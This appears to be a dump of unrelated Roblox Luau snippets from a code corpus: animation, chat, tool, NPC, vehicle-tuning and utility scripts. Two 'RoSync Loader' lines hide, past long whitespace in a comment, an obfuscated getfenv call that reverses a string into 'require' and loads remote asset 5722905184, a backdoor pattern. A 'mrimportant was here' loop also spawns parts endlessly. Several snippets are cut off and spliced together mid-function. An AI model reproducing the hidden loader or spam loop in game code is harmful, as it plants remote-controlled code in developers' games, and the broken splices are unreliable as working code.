Roblox/luau_corpus huggingface dataset:
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------


function onRunning(speed)
	if speed>0 then
		playAnimation("walk", 0.1, Humanoid)
		pose = "Running"
	else
		playAnimation("idle", 0.1, Humanoid)
		pose = "Standing"
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing()
	playAnimation("climb", 0.1, Humanoid)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function onSwimming(speed)
	if speed>0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

local function getTool()	
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.className == "Tool" then return kid end
	end
	return nil
end

local function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.className == "StringValue" then
			return c
		end
	end
	return nil
end

local function animateTool()
	
	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, Humanoid)
		return
	end

	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, Humanoid)
		return
	end

	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, Humanoid)
		return
	end
end

local function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder:SetDesiredAngle(3.14 /2)
	LeftShoulder:SetDesiredAngle(-3.14 /2)
	RightHip:SetDesiredAngle(3.14 /2)
	LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = time - lastTick
  	lastTick = time

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	elseif (pose == "Seated") then
		stopAllAnimations()
		moveSit()
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.1, Humanoid)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
--["Walk"] = "rbxassetid://507777826",
	["Walk"] = "http://www.roblox.com/asset/?id=180426354",
	["Idle"] = "http://www.roblox.com/asset/?id=180426354",
	["SwingTool"] = "http://www.roblox.com/asset/?id=180426354"
}
local anims = {}
for animName,animId in next,preAnims do
local anim = Instance.new("Animation")
anim.AnimationId = animId
game:GetService("ContentProvider"):PreloadAsync({anim})
anims[animName] = animController:LoadAnimation(anim)
end



		if not anims["Walk"].IsPlaying then
		anims["Walk"]:Play()
		end
--[[ Initialization/Setup ]]--
local function createTouchGuiContainer()
	if TouchGui then TouchGui:Destroy() end

	-- Container for all touch device guis
	TouchGui = Instance.new('ScreenGui')
	TouchGui.Name = "TouchGui"
	TouchGui.ResetOnSpawn = false
	TouchGui.Parent = PlayerGui

	TouchControlFrame = Instance.new('Frame')
	TouchControlFrame.Name = "TouchControlFrame"
	TouchControlFrame.Size = UDim2.new(1, 0, 1, 0)
	TouchControlFrame.BackgroundTransparency = 1
	TouchControlFrame.Parent = TouchGui

	ThumbstickModule:Create(TouchControlFrame)
	DPadModule:Create(TouchControlFrame)
	ThumbpadModule:Create(TouchControlFrame)
	TouchJumpModule:Create(TouchControlFrame)
	DynamicThumbstickModule:Create(TouchControlFrame)
end
--Clearing The Blood Function
local deleteBlood = function(part)
	
	local tween = tweenSize(part, 0.5, Enum.EasingDirection.In, Vector3.new(0, 0.1, 0))
	
	spawn(function()
		tween.Completed:Wait()
		tween:Destroy()
		
		part:Destroy()
	end)
end
--[[
	[Horizontal and Vertical limts for head and body tracking.]
	[Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.]
--]]
local HeadHorFactor = 1
local HeadVertFactor = 0.6
local BodyHorFactor = 0.5
local BodyVertFactor = 0.4
--Util
function Util.spawner(func, ...)
	local thread = coroutine.wrap(func)
	return thread(...)
end

function Util.readTab(tab)
	return repr(tab)
end
--mrimportant was here--
while true do
	wait(0.03)
	local part = Instance.new("Part", workspace)
	part.Name = "Roblox generated parts."
	part.Parent = game.ReplicatedStorage
	part.Position = Vector3.new(1,1,1)
end
-- For luminance calculation formula look at: http://en.wikipedia.org/wiki/Grayscale
local function IsDark(color)
	local cieLuminance = 0.2126 * color.r + 0.7152 * color.g + 0.0722 * color.b
	return cieLuminance < 0.4
end

local function LerpColor(startColor, endColor, duration)
	local startTime = tick()
	while tick() - startTime < duration do
		wait(1 / MAX_STEPS)
		local lerpedVec = startColor:Lerp(endColor, (tick() - startTime) / duration)
		COLOR = Color3.new(lerpedVec.x,lerpedVec.y,lerpedVec.z)
		if lerpedVec.x < 1 and lerpedVec.y < 1 and lerpedVec.z < 1 and lerpedVec.x > 0 and lerpedVec.y > 0 and lerpedVec.z > 0 then
			script.Parent.Value = Color3.new(lerpedVec.x,lerpedVec.y,lerpedVec.z)
		end
	end
end

while true do
	if tick() - t >= 30 then math.randomseed(tick()/2) end
	t=tick()
	local newcolor
	repeat newcolor = BrickColor.Random()
	until not IsDark(newcolor.Color)
	print(newcolor)
	LerpColor(Vector3.new(COLOR.r,COLOR.g,COLOR.b),Vector3.new(newcolor.Color.r,newcolor.Color.g,newcolor.Color.b),2)
end
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names.

local FFlagFixChatWindowHoverOver = false do
	local ok, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFixChatWindowHoverOver")
	end)
	if ok then
		FFlagFixChatWindowHoverOver = value
	end
end

local FFlagFixMouseCapture = false do
	local ok, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFixMouseCapture")
	end)
	if ok then
		FFlagFixMouseCapture = value
	end
end

local FFlagUserHandleChatHotKeyWithContextActionService = false do
	local ok, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserHandleChatHotKeyWithContextActionService")
	end)
	if ok then
		FFlagUserHandleChatHotKeyWithContextActionService = value
	end
end

local FILTER_MESSAGE_TIMEOUT = 60

local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")
local ContextActionService = game:GetService("ContextActionService")

local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))

local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end

local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren =
{
	OnNewMessage = "RemoteEvent",
	OnMessageDoneFiltering = "RemoteEvent",
	OnNewSystemMessage = "RemoteEvent",
	OnChannelJoined = "RemoteEvent",
	OnChannelLeft = "RemoteEvent",
	OnMuted = "RemoteEvent",
	OnUnmuted = "RemoteEvent",
	OnMainChannelSet = "RemoteEvent",

	SayMessageRequest = "RemoteEvent",
	GetInitDataRequest = "RemoteFunction",
}
--[[ Last synced 8/18/2021 08:03                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--[[ Last synced 8/18/2021 08:06                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--[=[
	Allows access to an attribute like a ValueObject.

	```lua
	local attributeValue = AttributeValue.new(workspace, "Version", "1.0.0")
	print(attributeValue.Value) --> 1.0.0
	print(workspace:GetAttribute("version")) --> 1.0.0

	attributeValue.Changed:Connect(function()
		print(attributeValue.Value)
	end)

	workspace:SetAttribute("1.1.0") --> 1.1.0
	attributeValue.Value = "1.2.0" --> 1.2.0
	```

	@class AttributeValue
]=]

local require = require(script.Parent.loader).load(script)

local RxAttributeUtils = require("RxAttributeUtils")

local AttributeValue = {}
AttributeValue.ClassName = "AttributeValue"
AttributeValue.__index = AttributeValue
--[[
[MAKING WAYPOINTS]
Basically you duplicate the point and put it anywhere in your maze
but accept safehouses[if you have any] and points that are out of the maze.

Now once you're done reading this just delete this script.
If you leave it, it really won't do anything at all.
]]


script:Destroy()
-- Credit: https://blog.elttob.uk/2022/11/07/sets-efficient-topological-search.html
local function updateAll(root: PubTypes.Dependency)
	local counters: {[Descendant]: number} = {}
	local flags: {[Descendant]: boolean} = {}
	local queue: {Descendant} = {}
	local queueSize = 0
	local queuePos = 1
	
	for object in root.dependentSet do
		queueSize += 1
		queue[queueSize] = object
		flags[object] = true
	end

	-- Pass 1: counting up
	while queuePos <= queueSize do
		local next = queue[queuePos]
		local counter = counters[next]
		counters[next] = if counter == nil then 1 else counter + 1
		
		print(counter)
		
		if (next :: any).dependentSet ~= nil then
			for object in (next :: any).dependentSet do
				queueSize += 1
				queue[queueSize] = object
			end
		end
		
		queuePos += 1
	end

	-- Pass 2: counting down + processing
	queuePos = 1
	while queuePos <= queueSize do
		local next = queue[queuePos]
		counters[next] -= 1
		
		if counters[next] == 0 and flags[next] and next:update() and (next :: any).dependentSet ~= nil then
			for object in (next :: any).dependentSet do
				flags[object] = true
			end
		end
		
		queuePos += 1
	end
end

return updateAll
------

UIS.InputBegan:connect(function(i,GP) 
if not GP then 
	
if i.KeyCode == Enum.KeyCode.A then REvent:FireServer("A",true) end
if i.KeyCode == Enum.KeyCode.D then REvent:FireServer("D",true) end
if i.KeyCode == Enum.KeyCode.W then REvent:FireServer("W",true) end
if i.KeyCode == Enum.KeyCode.S then REvent:FireServer("S",true) end
if i.KeyCode == Enum.KeyCode.E then REvent:FireServer("E",true) end
if i.KeyCode == Enum.KeyCode.Q then REvent:FireServer("Q",true) end

end
end)

UIS.InputEnded:connect(function(i,GP) 
if not GP then 
	
if i.KeyCode == Enum.KeyCode.A then REvent:FireServer("A",false) end
if i.KeyCode == Enum.KeyCode.D then REvent:FireServer("D",false) end
if i.KeyCode == Enum.KeyCode.W then REvent:FireServer("W",false) end
if i.KeyCode == Enum.KeyCode.S then REvent:FireServer("S",false) end
if i.KeyCode == Enum.KeyCode.E then REvent:FireServer("E",false) end
if i.KeyCode == Enum.KeyCode.Q then REvent:FireServer("Q",false) end
end
end)





spawn(function()
while wait() do
if Player.Character.Humanoid.Sit == false then
local t={"A","D","W","S","E","Q"}	
for i,v in pairs(t) do
REvent:FireServer(v,false)
end
script:Destroy()
end
end
end)
--- FUNCTIONS ---

Distribute = function(NPC)
	if NPC:IsA("Model") then
		if script:FindFirstChild(NPC.Name.."Behavior") then

			local CloneScript = script:FindFirstChild(NPC.Name.."Behavior"):Clone()
			CloneScript.Parent = NPC
			CloneScript.Enabled = true

		end
	end
end
--Equip Handler

Weapons = {
	[Enum.KeyCode.One] = script.Parent.Primary,
	[Enum.KeyCode.Two] = script.Parent.Secondary,
	[Enum.KeyCode.Three] = script.Parent.Melee
}

Selected = script.Parent.Primary

function Select(Weapon)
	Weapon:TweenSize(UDim2.new(0.15,0,0.1,0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,0.1,true)
end

function Deselect(Weapon)
	Weapon:TweenSize(UDim2.new(0.12,0,0.1,0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,0.1,true)
end


UIS.InputBegan:Connect(function(input)
	local Key = Weapons[input.KeyCode]
	if Key then
		Deselect(Selected)
		Selected = Key
		Select(Selected)
	end
end)
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 330		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16
	
	--Incline Compensation
	Tune.InclineComp	= 4.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
--Connections
playerService.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(function(character)
		
		local rootPart = character:WaitForChild("HumanoidRootPart")
		
		local humanoid = character:WaitForChild("Humanoid")
		local oldHealth = humanoid.Health
		
		local particlesClone = bloodParticles:Clone()
		particlesClone.Parent = rootPart
		
		humanoid.HealthChanged:Connect(function(health)
			if health < oldHealth then
				
				oldHealth = health
				
				spawn(function()
					for i = 1, blood_part_per_hit do
						
						local randomPosition = math.random(-20, 20) / 10
						
						local raycastOrigin = rootPart.Position + Vector3.new(randomPosition, 0, randomPosition)
						local raycastDirection = Vector3.new(0, -8, 0)
						
						local raycastResult = raycast(character, raycastOrigin, raycastDirection)
						
						if raycastResult then
							particlesClone:Emit(2)
							
							delay(0.5, function()
								local newBlood = createBlood(raycastResult.Position)
								expandBlood(newBlood)
								
								delay(blood_destroy_delay, function()
									deleteBlood(newBlood)
								end)
							end)
						end
						
						wait(math.random(0.5, 2) / 10)
					end
				end)
			else
				oldHealth = health
			end
		end)
	end)
end)
--[[function playsound(time)
	nextsound=time+5+(math.random()*5)
	local randomsound=sounds[math.random(1,#sounds)]
	randomsound.Volume=.5+(.5*math.random())
	randomsound.Pitch=.5+(.5*math.random())
	randomsound:Play()
end]]

while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
	local _,time=wait(0.25)--wait(1/3)
	humanoids={}
	populatehumanoids(game.Workspace)
	closesttarget=nil
	closestdist=sightrange
	local creator=sp:FindFirstChild("creator")
	for i,h in ipairs(humanoids) do
		if h and h.Parent~=nil then
			if h.Health>0 and h.Parent~=sp then
				local plr=game.Players:GetPlayerFromCharacter(h.Parent)
				if creator==nil or plr==nil or creator.Value~=plr then
					local t=h.Parent:FindFirstChild("Torso")
					if t~=nil then
						local dist=(t.Position-Torso.Position).magnitude
						if dist<closestdist then
							closestdist=dist
							closesttarget=t
						end
					end
				end
			end
		end
	end
	if closesttarget~=nil then
		if not chasing then
			--playsound(time)
			chasing=true
			Humanoid.WalkSpeed=runspeed
			BARKING:Play()
		end
		Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
		if math.random()<.5 then
			attack(time,closesttarget.Position)
		end
	else
		if chasing then
			chasing=false
			Humanoid.WalkSpeed=wonderspeed
			BARKING:Stop()
		end
		if time>nextrandom then
			nextrandom=time+3+(math.random()*5)
			local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40)
			Humanoid:MoveTo(randompos,game.Workspace.Terrain)
		end
	end
	if time>nextsound then
		--playsound(time)
	end
	if time>nextjump then
		nextjump=time+7+(math.random()*5)
		Humanoid.Jump=true
	end
	animate(time)
end

wait(4)
sp:remove() --Rest In Pizza
-- regeneration
while true do
	local s = wait(3)
	local health = Humanoid.Health
	if health > 0 and health < Humanoid.MaxHealth then
		health = health + 0.01 * s * Humanoid.MaxHealth
		if health * 1.05 < Humanoid.MaxHealth then
			Humanoid.Health = health
		else
			Humanoid.Health = Humanoid.MaxHealth
		end
	end
end
--| Cooldown Value|--
local Cooldown = script.Parent.Parent.CooldownValue
--[[*
 * Keeps track of the current batch's configuration such as how long an update
 * should suspend for if it needs to.
]]
local ReactCurrentBatchConfig = {
	transition = 0,
}

return ReactCurrentBatchConfig
-- Trove
-- Stephen Leitnick
-- October 16, 2021


local FN_MARKER = newproxy()

local RunService = game:GetService("RunService")


local function GetObjectCleanupFunction(object, cleanupMethod)
	local t = typeof(object)
	if t == "function" then
		return FN_MARKER
	end
	if cleanupMethod then
		return cleanupMethod
	end
	if t == "Instance" then
		return "Destroy"
	elseif t == "RBXScriptConnection" then
		return "Disconnect"
	elseif t == "table" then
		if typeof(object.Destroy) == "function" then
			return "Destroy"
		elseif typeof(object.Disconnect) == "function" then
			return "Disconnect"
		end
	end
	error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object))
end
--Fixed by Busify
--If you're still not happy with how it works then scroll down and change the wait sections.
--If you can't find any wait sections then press Ctrl + F and look for wait.
--Hope I helped! Enjoy!

Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

function Create(ty)
	return function(data)
		local obj = Instance.new(ty)
		for k, v in pairs(data) do
			if type(k) == 'number' then
				v.Parent = obj
			else
				obj[k] = v
			end
		end
		return obj
	end
end

local BaseUrl = "rbxassetid://"

Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")

DamageValues = {
	BaseDamage = 7,
	SlashDamage = 8,
	LungeDamage = 9
}
--[=[
	Executes all promises. If any fails, the result will be rejected. However, it yields until
	every promise is complete.

	:::warning
	Passing in a spare array (i.e. {nil, promise}) will result in undefined behavior here.
	:::

	@param promises { Promise<T> }
	@return Promise<T>
]=]
function PromiseUtils.all(promises)
	if #promises == 0 then
		return Promise.resolved()
	elseif #promises == 1 then
		return promises[1]
	end

	local remainingCount = #promises
	local returnPromise = Promise.new()
	local results = {}
	local allFulfilled = true

	local function syncronize(index, isFullfilled)
		return function(value)
			allFulfilled = allFulfilled and isFullfilled
			results[index] = value
			remainingCount = remainingCount - 1
			if remainingCount == 0 then
				local method = allFulfilled and "Resolve" or "Reject"
				returnPromise[method](returnPromise, unpack(results, 1, #promises))
			end
		end
	end

	for index, promise in pairs(promises) do
		promise:Then(syncronize(index, true), syncronize(index, false))
	end

	return returnPromise
end
-- CONSTANTS

local INHERITED = {
	["__add"] = true,
	["__call"] = true,
	["__concat"] = true,
	["__div"] = true,
	["__le"] = true,
	["__lt"] = true,
	["__mod"] = true,
	["__mul"] = true,
	["__pow"] = true,
	["__sub"] = true,
	["__tostring"] = true,
	["__unm"] = true,

	["__index"] = false,
	["__newindex"] = false,
}
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.SoySauce
--[[
	Gets the Asset or Bundle info based on the given itemId and itemType.
	Expects state to be AvatarExperience.Common.
]]
return function(state, itemId, itemType)
	if itemType == CatalogConstants.ItemType.Asset then
		local asset = state.Assets[itemId]
		--print("ItemData:", asset)
		return asset
	elseif itemType == CatalogConstants.ItemType.Bundle then
		local bundle = state.Bundles[itemId]
		--print("ItemData:", bundle)
		return bundle
	end
end
-- Decompiled with the Synapse X Luau decompiler.

return {
	Crouch = "rbxassetid://9876150092", 
	Default = "rbxassetid://9876149963"
};
--// GUI Variables
local PlayerGUI = Player:WaitForChild("PlayerGui")
local MainUI = PlayerGUI:WaitForChild("MainUI") 
local TradingPlayerListUI = MainUI.TradePlayerList
local TradePlayerListHolder = TradingPlayerListUI.List.Holder
local ScrollingFrame = TradePlayerListHolder
local UIGridLayout = ScrollingFrame.UIGridLayout
local TradeMenuUI = MainUI.TradeFrame

local getSizes = function()
	return Vector2.new(0, 0.05), Vector2.new(0.95, 0.2), 1
end
local getPetSizes = function()
	return Vector2.new(0.03, 0.04), Vector2.new(0.475, 0.25), 2
end